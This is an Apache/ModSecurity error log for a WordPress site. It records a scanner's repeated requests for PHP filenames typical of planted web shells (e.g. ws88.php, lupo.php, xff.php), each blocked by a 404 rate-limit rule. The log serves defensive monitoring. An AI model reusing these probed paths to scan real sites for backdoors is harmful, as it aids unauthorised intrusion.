[Thu Apr 16 19:19:50.235030 2026] [:error] [pid 57639:tid 57650] [client 172.213.0.122:6094] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeDF1qMCQoTw7TsxWulFAgAAAMQ"]
[Thu Apr 16 21:39:33.507611 2026] [autoindex:error] [pid 57538:tid 57602] [client 51.13.190.245:30620] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 21:39:44.879935 2026] [:error] [pid 7880:tid 7901] [client 51.13.190.245:53507] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeDmoKaezm4fSGc0yUKzLQAAAZA"]
[Thu Apr 16 21:39:45.417363 2026] [:error] [pid 7880:tid 7898] [client 51.13.190.245:53531] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeDmoaaezm4fSGc0yUKzMAAAAY0"]
[Thu Apr 16 21:39:45.953582 2026] [:error] [pid 49094:tid 49106] [client 51.13.190.245:53542] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeDmoTbDwvcXorHR_MzsigAAAUo"]
[Thu Apr 16 21:39:46.609009 2026] [:error] [pid 7880:tid 7894] [client 51.13.190.245:30607] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeDmoqaezm4fSGc0yUKzNQAAAYk"]
[Thu Apr 16 21:39:47.158098 2026] [:error] [pid 49094:tid 49102] [client 51.13.190.245:33230] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeDmozbDwvcXorHR_MzskAAAAUY"]
[Thu Apr 16 21:39:47.770156 2026] [:error] [pid 49094:tid 49098] [client 51.13.190.245:52320] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeDmozbDwvcXorHR_MzslgAAAUI"]
[Thu Apr 16 21:39:48.298920 2026] [:error] [pid 49094:tid 49096] [client 51.13.190.245:47440] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeDmpDbDwvcXorHR_MzslwAAAUA"]
[Thu Apr 16 21:39:48.956840 2026] [:error] [pid 49094:tid 49100] [client 51.13.190.245:47455] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeDmpDbDwvcXorHR_MzsmgAAAUQ"]
[Thu Apr 16 21:39:49.558346 2026] [:error] [pid 57536:tid 57555] [client 51.13.190.245:47447] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aeDmpSQU4faGja6jpDuI4AAAAAc"]
[Thu Apr 16 21:39:50.098368 2026] [:error] [pid 49094:tid 49105] [client 51.13.190.245:47466] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aeDmpjbDwvcXorHR_MzsnAAAAUk"]
[Thu Apr 16 21:39:50.691979 2026] [:error] [pid 57536:tid 57549] [client 51.13.190.245:33266] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aeDmpiQU4faGja6jpDuI5AAAAAE"]
[Thu Apr 16 21:39:51.229261 2026] [:error] [pid 57537:tid 57594] [client 51.13.190.245:33421] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aeDmp1VQRS8nm73ENAm8XgAAAFM"]
[Thu Apr 16 21:39:51.791847 2026] [:error] [pid 57639:tid 57652] [client 51.13.190.245:47678] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeDmp6MCQoTw7TsxWum-YgAAAMY"]
[Thu Apr 16 21:39:52.328694 2026] [:error] [pid 7880:tid 7908] [client 51.13.190.245:52289] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeDmqKaezm4fSGc0yUKzOgAAAZc"]
[Thu Apr 16 21:39:52.868643 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:33244] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeDmqKMCQoTw7TsxWum-ZgAAAMc"]
[Thu Apr 16 21:39:53.388893 2026] [:error] [pid 57639:tid 57662] [client 51.13.190.245:33242] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeDmqaMCQoTw7TsxWum-ZwAAANA"]
[Thu Apr 16 21:39:53.909404 2026] [:error] [pid 57536:tid 57558] [client 51.13.190.245:33248] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aeDmqSQU4faGja6jpDuI6AAAAAo"]
[Thu Apr 16 21:39:54.438181 2026] [:error] [pid 7880:tid 7901] [client 51.13.190.245:33412] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aeDmqqaezm4fSGc0yUKzPgAAAZA"]
[Thu Apr 16 21:39:55.026109 2026] [:error] [pid 49094:tid 49105] [client 51.13.190.245:47619] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aeDmqzbDwvcXorHR_MzsrAAAAUk"]
[Thu Apr 16 21:39:55.559780 2026] [:error] [pid 57639:tid 57658] [client 51.13.190.245:33408] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aeDmq6MCQoTw7TsxWum-cAAAAMw"]
[Thu Apr 16 21:39:56.084000 2026] [:error] [pid 57639:tid 57652] [client 51.13.190.245:53543] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeDmrKMCQoTw7TsxWum-cwAAAMY"]
[Thu Apr 16 21:39:56.609712 2026] [:error] [pid 7880:tid 7900] [client 51.13.190.245:47431] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeDmrKaezm4fSGc0yUKzQgAAAY8"]
[Thu Apr 16 21:39:57.148218 2026] [:error] [pid 7880:tid 7894] [client 51.13.190.245:52349] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeDmraaezm4fSGc0yUKzRQAAAYk"]
[Thu Apr 16 21:39:57.695508 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:47448] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeDmraMCQoTw7TsxWum-dwAAAMc"]
[Thu Apr 16 21:39:58.213247 2026] [:error] [pid 7880:tid 7887] [client 51.13.190.245:53565] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeDmrqaezm4fSGc0yUKzTAAAAYI"]
[Thu Apr 16 21:39:58.807846 2026] [:error] [pid 7880:tid 7905] [client 51.13.190.245:52296] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeDmrqaezm4fSGc0yUKzTgAAAZQ"]
[Thu Apr 16 21:39:59.332349 2026] [:error] [pid 29603:tid 29616] [client 51.13.190.245:52295] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeDmr1fGOR6fpTWUAzqdBwAAAQs"]
[Thu Apr 16 21:39:59.919207 2026] [:error] [pid 57536:tid 57551] [client 51.13.190.245:33463] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeDmryQU4faGja6jpDuI6wAAAAM"]
[Thu Apr 16 21:40:00.645281 2026] [:error] [pid 57536:tid 57557] [client 51.13.190.245:33255] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeDmsCQU4faGja6jpDuI7AAAAAk"]
[Thu Apr 16 21:40:01.389508 2026] [:error] [pid 57536:tid 57569] [client 51.13.190.245:33254] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeDmsSQU4faGja6jpDuI8AAAABU"]
[Thu Apr 16 21:40:01.938498 2026] [:error] [pid 29603:tid 29625] [client 51.13.190.245:52332] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeDmsVfGOR6fpTWUAzqdDAAAARQ"]
[Thu Apr 16 21:40:02.475191 2026] [:error] [pid 57538:tid 57617] [client 51.13.190.245:47679] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeDmssuMaiEF5SVR2BfpDAAAAI8"]
[Thu Apr 16 21:40:03.043708 2026] [:error] [pid 57537:tid 57585] [client 51.13.190.245:53553] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeDms1VQRS8nm73ENAm8YgAAAEo"]
[Thu Apr 16 21:40:03.595424 2026] [:error] [pid 29603:tid 29624] [client 51.13.190.245:33232] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeDms1fGOR6fpTWUAzqdEQAAARM"]
[Thu Apr 16 21:40:04.127073 2026] [:error] [pid 57538:tid 57615] [client 51.13.190.245:30611] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeDmtMuMaiEF5SVR2BfpEwAAAI0"]
[Thu Apr 16 21:40:04.654384 2026] [:error] [pid 57536:tid 57561] [client 51.13.190.245:47480] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aeDmtCQU4faGja6jpDuI9AAAAA0"]
[Thu Apr 16 21:40:05.182960 2026] [:error] [pid 57536:tid 57553] [client 51.13.190.245:52338] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeDmtSQU4faGja6jpDuI-AAAAAU"]
[Thu Apr 16 21:40:05.707826 2026] [:error] [pid 57639:tid 57658] [client 51.13.190.245:53535] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeDmtaMCQoTw7TsxWum-fQAAAMw"]
[Thu Apr 16 21:40:06.246927 2026] [:error] [pid 29603:tid 29616] [client 51.13.190.245:33275] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeDmtlfGOR6fpTWUAzqdHQAAAQs"]
[Thu Apr 16 21:40:06.787736 2026] [:error] [pid 29603:tid 29625] [client 51.13.190.245:52324] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeDmtlfGOR6fpTWUAzqdIQAAARQ"]
[Thu Apr 16 21:40:07.318516 2026] [:error] [pid 49094:tid 49118] [client 51.13.190.245:52339] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeDmtzbDwvcXorHR_MzssgAAAVY"]
[Thu Apr 16 21:40:07.845658 2026] [:error] [pid 57639:tid 57670] [client 51.13.190.245:52292] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeDmt6MCQoTw7TsxWum-ggAAANg"]
[Thu Apr 16 21:40:08.369665 2026] [:error] [pid 57538:tid 57607] [client 51.13.190.245:33433] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeDmuMuMaiEF5SVR2BfpGQAAAIU"]
[Thu Apr 16 21:40:08.896971 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:47672] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeDmuKMCQoTw7TsxWum-hgAAAMc"]
[Thu Apr 16 21:40:09.439877 2026] [:error] [pid 29603:tid 29612] [client 51.13.190.245:47644] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeDmuVfGOR6fpTWUAzqdMAAAAQc"]
[Thu Apr 16 21:40:09.962880 2026] [:error] [pid 49094:tid 49101] [client 51.13.190.245:33414] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeDmuTbDwvcXorHR_MzsvAAAAUU"]
[Thu Apr 16 21:40:10.483568 2026] [:error] [pid 49094:tid 49108] [client 51.13.190.245:33279] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeDmujbDwvcXorHR_MzswAAAAUw"]
[Thu Apr 16 21:40:11.004797 2026] [:error] [pid 57536:tid 57572] [client 51.13.190.245:52302] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeDmuyQU4faGja6jpDuI_wAAABg"]
[Thu Apr 16 21:40:11.531154 2026] [:error] [pid 57536:tid 57561] [client 51.13.190.245:29857] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeDmuyQU4faGja6jpDuJAAAAAA0"]
[Thu Apr 16 21:40:12.053371 2026] [:error] [pid 57639:tid 57669] [client 51.13.190.245:25167] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeDmvKMCQoTw7TsxWum-jwAAANc"]
[Thu Apr 16 21:40:12.573444 2026] [:error] [pid 7880:tid 7897] [client 51.13.190.245:53509] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeDmvKaezm4fSGc0yUKzUAAAAYw"]
[Thu Apr 16 21:40:13.118957 2026] [:error] [pid 57536:tid 57549] [client 51.13.190.245:24678] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeDmvSQU4faGja6jpDuJAwAAAAE"]
[Thu Apr 16 21:40:13.647377 2026] [:error] [pid 49094:tid 49106] [client 51.13.190.245:33238] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeDmvTbDwvcXorHR_Mzs0wAAAUo"]
[Thu Apr 16 21:40:14.169576 2026] [:error] [pid 57639:tid 57661] [client 51.13.190.245:33241] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeDmvqMCQoTw7TsxWum-mQAAAM8"]
[Thu Apr 16 21:40:14.690547 2026] [:error] [pid 57639:tid 57655] [client 51.13.190.245:33218] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeDmvqMCQoTw7TsxWum-nQAAAMk"]
